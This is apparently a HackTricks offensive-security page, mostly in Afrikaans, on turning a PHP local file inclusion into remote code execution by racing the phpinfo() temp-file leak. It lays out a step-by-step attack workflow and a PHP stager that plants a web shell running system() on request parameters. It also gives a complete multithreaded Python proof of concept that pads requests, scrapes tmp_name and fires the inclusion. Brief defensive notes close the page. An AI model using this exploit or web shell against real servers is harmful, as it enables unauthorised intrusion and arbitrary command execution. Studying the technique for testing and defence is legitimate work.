LFI to RCE via PHPInfo
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Om hierdie tegniek te benut benodig jy al die volgende:
- ’n bereikbare bladsy wat phpinfo() output vertoon.
- ’n Local File Inclusion (LFI) primitive wat jy beheer (bv., include/require op gebruikersinvoer).
- PHP file uploads geaktiveer (file_uploads = On). Enige PHP-skrip sal RFC1867 multipart uploads aanvaar en ’n tydelike lêer vir elke opgelaaide deel skep.
- Die PHP-worker moet na die gekonfigureerde upload_tmp_dir (of die stelsel se standaard tydelike gids) kan skryf en jou LFI moet daardie pad kan include.
Klassieke beskrywing en oorspronklike PoC:
- Witpapier: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Oorspronklike PoC-skripnaam: phpinfolfi.py (sien witpapier en mirrors)
Tutoriaal HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Notas oor die oorspronklike PoC
- Die phpinfo() output is HTML-gekodeer, dus verskyn die “=>” pyl dikwels as “=>”. As jy ouer skripte hergebruik, maak seker dat hulle na albei enkoderinge soek wanneer hulle die _FILES[tmp_name] waarde ontleed.
- Jy moet die payload (jou PHP-kode), REQ1 (die versoek na die phpinfo() endpoint insluitend padding), en LFIREQ (die versoek na jou LFI-sink) aanpas. Sommige teikens benodig nie ’n null-byte (%00) terminator nie en moderne PHP-weergawes sal dit nie eerbiedig nie. Pas die LFIREQ ooreenkomstig aan by die kwesbare sink.
Example sed (only if you really use the old Python2 PoC) to match HTML-encoded arrow:
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
Teorie
- Wanneer PHP ’n multipart/form-data POST met ’n file field ontvang, skryf dit die inhoud na ‘n tydelike lêer (upload_tmp_dir of die OS-standaard) en openbaar die pad in $_FILES[’
’][‘tmp_name’]. Die lêer word outomaties aan die einde van die request verwyder tensy dit verskuif/hernoem word. - Die truuk is om die tydelike naam te vind en dit via jou LFI in te sluit voordat PHP dit skoonmaak. phpinfo() druk $_FILES uit, insluitend tmp_name.
- Deur request headers/parameters op te pomp (padding) kan jy veroorsaak dat vroeë gedeeltes van phpinfo() se uitvoer na die kliënt geflus word voordat die request klaar is, sodat jy tmp_name kan lees terwyl die tydelike lêer nog bestaan en dan onmiddellik die LFI met daardie pad kan skiet.
Op Windows is die tydelike lêers gewoonlik onder iets soos C:\Windows\Temp\php*.tmp. Op Linux/Unix is dit gewoonlik in /tmp of die gids wat in upload_tmp_dir gekonfigureer is.
Wat om in phpinfo() te verifieer voordat jy die race aangaan
Voordat jy duisende requests stuur, onttrek die waardes wat beslis of die race realisties is:
file_uploads: moetOnwees.upload_tmp_dir: as dit gestel is, is dit die gids wat jou LFI moet kan insluit. As dit leeg is, verwag die stelsel se standaard tydelike gids.open_basedir: as dit geaktiveer is, moet jou kwesbare include-pad steeds die tydelike gids bereik wat intmp_namegetoon word.output_buffering:4096is ’n algemene/standaard grootte en dit is waarom baie PoCs in 4KB-kote lees, maar hierdie waarde kan verskil.zlib.output_compression,output_handler, en enige framework-vlak buffering: dit verminder die kans omtmp_namevroeg genoeg te sien.Server API: nuttig om te besluit hoeveel buffering tussen PHP en jou kan wees (apache2handleris gewoonlik makliker om te redeneer asfpm-fcgiagter ’n reverse proxy).
As die bladsy nie $_FILES wys nie, maak seker jy stuur regtig ’n multipart/form-data request met ’n werklike file part. PHP vul slegs tmp_name vir upload fields wat gepars is.
Aanvalswerkvloei (stap vir stap)
- Berei ’n klein PHP payload voor wat vinnig ’n shell persisteer om te voorkom dat jy die race verloor (om ’n lêer te skryf is oor die algemeen vinniger as om op ’n reverse shell te wag):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
-
Stuur ’n groot multipart POST direk na die phpinfo() blad sodat dit ’n temp-lêer skep wat jou payload bevat. Blaas verskeie headers/cookies/params op met ~5–10KB vulsel om vroeë uitset te bevorder. Maak seker die vormveldnaam stem ooreen met wat jy in $_FILES gaan parse.
-
Terwyl die phpinfo() response nog aan die stroom is, parse die gedeeltelike body om $_FILES[‘
’][‘tmp_name’] (HTML-encoded) uit te trek. Sodra jy die volle absolute pad het (bv. /tmp/php3Fz9aB), aktiveer jou LFI om daardie pad te include. As die include() die temp-lêer uitvoer voordat dit verwyder word, loop jou payload en skep /tmp/.p.php. -
Gebruik die geskepte lêer: GET /vuln.php?include=/tmp/.p.php&x=id (of waar jou LFI jou toelaat om dit te include) om op ’n betroubare wyse opdragte uit te voer.
Wenke
- Gebruik verskeie gelyktydige werkers om jou kanse om die race te wen te verhoog.
- Padding-plek wat gewoonlik help: URL-parameter, Cookie, User-Agent, Accept-Language, Pragma. Stel per teiken af.
- As die kwesbare sink ’n extensie byvoeg (bv. .php), het jy nie ’n null byte nodig nie; include() sal PHP uitvoer ongeag die temp-lêer se extensie.
Minimale Python 3 PoC (socket-based)
Die onderstaande stukkie fokus op die kritieke dele en is makliker om aan te pas as die ouer Python2-skrip. Pas HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (pad na die LFI sink), en PAYLOAD aan.
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
Foutopsporing
- You never see tmp_name: Maak seker jy stuur regtig
POST multipart/form-datanaphpinfo().phpinfo()druk$_FILESslegs wanneer ’n upload-veld teenwoordig was. tmp_nameappears only at the very end of the response: Dit is gewoonlik ’n buffering-probleem, nie ’n PHP-weergawe probleem nie. Grootoutput_buffering-waardes,zlib.output_compression, userland output handlers, of reverse-proxy/FastCGI buffering kan diephpinfo()body vertraag totdat die upload-versoek amper klaar is.- You only get reliable streaming in a lab, not through the real site: ’n CDN, WAF, of reverse proxy kan die upstream respons buffer. As jy verskeie roetes na dieselfde app het, verkies die mees direkte origin-pad.
- The classic 4096-byte offset logic misses the leak: Behandel 4096 as ’n beginpunt afgelei van algemene
output_buffering-standaarde, nie as ’n universele konstante nie. Parse inkrementeel en stop sodratmp_namevoltooi is. - The temp file is included but your shell dies immediately: Gebruik ’n klein stager wat ’n tweede lêer skryf, omdat die geüploade temp-lêer steeds verwyder sal word wanneer die oorspronklike versoek eindig.
- Output doesn’t flush early: Verhoog padding, voeg meer groot headers by, of stuur meerdere gelyktydige versoeke. Sommige SAPIs/buffers sal nie flush totdat groter drempels bereik word nie; pas dienooreenkomstig aan.
- LFI path blocked by open_basedir or chroot: Jy moet die LFI na ’n toegelate pad wys of oorskakel na ’n ander LFI2RCE-vektor.
- Temp directory not /tmp:
phpinfo()druk die volle absolutetmp_name-pad; gebruik daardie presiese pad in die LFI.
Praktiese notas vir moderne stacks
- Hierdie tegniek is steeds reproduceerbaar in moderne lab-omgewings; byvoorbeeld, Vulhub behou ’n demonstrator op PHP 7.2. In die praktyk hang sukses meer af van output buffering en proxying as van ’n phpinfo-spesifieke patchvlak.
flush()enimplicit_flushbeïnvloed net PHP se eie uitsetlaag. Hulle waarborg nie dat ’n FastCGI gateway, reverse proxy, browser, of tussenganger onmiddellik gedeeltelike chunks vrylaat nie.- If the target is
fpm-fcgibehind Nginx/Apache proxying, dink in lae: PHP buffer, PHP output handlers/compression, FastCGI buffering, dan proxy buffering. Die race werk slegs as genoeg van diephpinfo()respons daardie ketting ontglip voordat die versoek-shutdown die temp-lêer uitvee.
Verdedigende notas
- Never expose
phpinfo()in production. Indien nodig beperk per IP/auth en verwyder dit ná gebruik. - Keep
file_uploadsdisabled if not required. Andersins beperkupload_tmp_dirtot ’n pad wat nie deurinclude()in die toepassing bereik kan word nie en handhaaf streng validasie op enigeinclude/require-paaie. - Beskou enige LFI as krities; selfs sonder
phpinfo(), bestaan daar ander LFI→RCE-paadjies.
Related HackTricks techniques
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Verwysings
- LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
- PHP Manual – Flushing System Buffers: https://www.php.net/manual/en/outcontrol.flushing-system-buffers.php
- Vulhub – PHP Local File Inclusion RCE with PHPINFO: https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.md
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


